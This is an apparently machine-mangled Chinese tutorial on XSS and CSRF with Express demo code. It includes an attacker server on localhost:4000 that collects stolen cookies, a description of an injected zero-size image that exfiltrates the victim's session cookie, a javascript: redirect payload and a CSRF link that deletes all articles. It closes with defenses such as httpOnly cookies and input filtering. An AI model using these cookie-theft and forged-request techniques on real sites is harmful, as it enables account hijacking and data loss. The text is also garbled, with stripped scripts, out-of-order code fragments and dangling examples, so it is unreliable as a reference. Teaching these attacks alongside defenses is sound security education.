一、XSS简介XSS的全称是(CrossSiteScripting),即跨站脚本攻击。同时,为了不与层叠样式表(CSS)混淆,跨站脚本攻击简称为XSS。它是Web应用程序中的常见漏洞。攻击者在网页中注入一个客户端脚本(通常是JavaScript),当用户浏览该网页时,该脚本就会被执行,从而达到攻击的目的。2.XSS分类①反射型XSS所谓反射型就是用户在网页中输入的内容被页面提交给服务器后,服务器不把数据存入数据库,而是反射回来到页面原封不动,即无论用户输入什么内容,服务器都会原封不动地显示在页面上,从而让用户立即受到攻击。最常见的是搜索引擎。当我们搜索一个找不到的内容时,搜索引擎通常会在页面上直接提示找不到该内容。这时候,如果用户搜索的内容中包含一些攻击性的脚本,而服务器如果不对这些内容进行处理,就会受到攻击,比如:②存储型XSS(StoredXSS)所谓存储型XSS就是经过用户在网页中输入的内容通过页面提交给服务器,服务器首先将数据原封不动地保存在数据库中,当其他用户访问该网站时,从服务器读取数据,这样脚本包含in里面可以执行,所以存储的类型不会马上被攻击,而是等待其他用户访问网站。它生效了,但是因为它存储在数据库中,所以它的攻击范围更广,可以覆盖网站的所有访问者。最常见的是黑客用户提交一篇文章,然后在文章中注入一个脚本,文章就会提交到数据库中,所以其他用户访问文章的时候就会被攻击。反射型XSS和存储型XSS的区别在于看用户提交的数据是否被服务端存储。③基于DOM(DOM-basedorlocalXSS)所谓基于DOM类型是指使用的数据不经过服务器,而是直接从DOM、Window等对象中获取,比如document.location,document.URL,document.referrer,将这些数据插入到DOM中引起的XSS攻击。比较常见的是,当我们在一个网站上注册成功后,通常会跳转到一个验证页面。验证页面的内容主要包括多少秒自动跳转到某个页面,或者点击链接立即跳转到某个页面,比如:http://localhost:3000/validate.html?redirectTo=javascript:alert('xss'),我们的页面会根据传入的redirectTo的值进行跳转,比如: ${article.content}你的搜索关键字是${req.query.keyword}
!!!你发现了一个xss漏洞!!!
`);});app.listen(3000);服务器返回一个搜索结果页面,直接把用户的搜索关键词放在显示的页面上。可以看出服务器返回的页面并没有使用innerHTML和innerText修改DOM的值。//黑客服务器代码constexpress=require("express");constapp=express();constcookies=[];app.use("/cookie",(req,res)=>{console.log(req.query.cookie);if(req.query.cookie){cookies.push(req.query.cookie);}res.send(`Stolenusercookie:
${cookies}`);});app.listen(4000);①现在用户可以在浏览器中输入http://localhost:3000/访问搜索页面,会生成一个sessionId放入cookie中(模拟用户有登录)。②当用户在搜索中输入黑客注入的脚本是在搜索结果页面添加一张宽高为0的图片。图片加载完成后,会向黑客的服务器发起请求http://localhost:4000/cookie,并将受害者的cookie发送给黑客的服务器。③点击搜索按钮进入搜索结果页面,如:④此时黑客在访问http://localhost:4000/cookie页面时可以看到窃取的用户cookie,如:5.XSS防御①将用于登录相关的cookie设置为httpOnly以避免被客户端脚本直接读取。对于上面提到的例子,注入的脚本会通过document.cookie读取我们的登录cookie,所以我们需要将登录cookie设置为httpOnly,如:app.use(session({secret:'keyboardcat',//Thekeystringmustbesetresave:false,//每次请求都会重置sessioncookie的过期时间saveUninitialized:true,//用户访问服务器后是否保存未初始化的session,即是否生成sessionimmediatelyname:"BDUSS",//sessionId的名称cookie:{httpOnly:true//禁止客户端通过js获取session对应的cookie}}));②过滤用户输入输出,并进行转换注入的脚本上面提到的例子,虽然通过给cookie设置httpOnly无法读取用于登录的cookie,但是如果我们输入,仍然可以弹出窗口。对于这种情况,我们需要对用户的输入进行转义,我们可以安装一个xss模块来过滤用户的输入输出,如:constxss=require("xss");//导入安装好的xss模块,用于数据过滤app.use("/search",(req,res)=>{res.send(`你的搜索关键字是${xss(req.query.keyword)}
!!!你发现了一个xss漏洞!!!
`);});转义后搜索结果页面显示如下:六、CSRF简介CSRF全称For(Cross-SiteRequestForgery),即跨站请求伪造,也称为OneClickAttack,一键式攻击,因为它通常会诱使用户点击图片或链接。当用户点击这个图片或链接时,这个链接通常包含一些攻击性的动作和参数,也就是所谓的伪造请求,会以用户的身份向服务器发起这个伪造的请求。服务器收到伪造的请求后,会认为是用户允许的操作,导致用户数据丢失等。由于CSRF是伪造用户请求,以用户身份向服务器发起请求,会导致用户丢失数据。因此,用户必须先登录获取相应的登录cookie,伪造的请求才会生效,导致用户数据丢失。因此,CSRF攻击的前提条件是:用户首先要登录一个可信的网站,并在本地生成相应的cookie;用户在未退出的情况下访问危险网站;7.CSRF示例和危害如果用户登录一个网站,并在该网站上发表了多篇文章,然后在没有退出的情况下访问了一个危险网站,然后点击了该危险网站中的一个链接,导致其发表的所有文章被删除.①用户先登录。这里只是为了模拟用户登录,所以直接为其设置了一个用户名,如:app.use("/login",(req,res)=>{req.session.user="lihb";//模拟用户登录,直接设置一个用户名res.send(`登录成功,欢迎回来${req.session.user}!
`);});用户在浏览器中输入并访问http://localhost:3000/login,然后显示用户登录成功页面。②登录成功后,访问http://localhost:3000/articles可以查看发布的文章。letarticles=[//模拟用户文章数据{id:1,title:"Thisisarticletitle1",content:"Thisisarticlecontent1"},{id:2,title:"Thisisarticletitle2",content:"这是文章内容2"}];app.use("/articles",(req,res)=>{if(req.session.user==="lihb"){if(articles.length>0){consttemplate=articles.map((article)=>{return`${article.title}
${req.session.user}发布文章:
${template}`);}else{res.send(`${req.session.user}还没有发表文章。
`);}}else{res.send(`请先登录
`);}});③服务器有一个http://localhost:3000/deleteAll请求,可以直接删除所有文章,如:app.use("/deleteAll",(req,res)=>{if(req.session.user==="lihb"){articles=[];res.send(`${req.session.user}的文章被清除
`);}else{res.send(`请先登录
`);}});④然后访问了一个危险网站http://localhost:4000/csrf.html,该危险网站包含一个诱饵链接,会诱导用户点击,这个链接对应的地址就是删除所有文章的链接,一旦用户点击这个链接,所有发表的文章都会被删除。这是一个CSRF请求,已被拦截
`);return;}if(req.session.user==="lihb"){articles=[];res.send(`${req.session.user}'sarticlesareClear
`);}else{res.send(`请先登录
`);}});
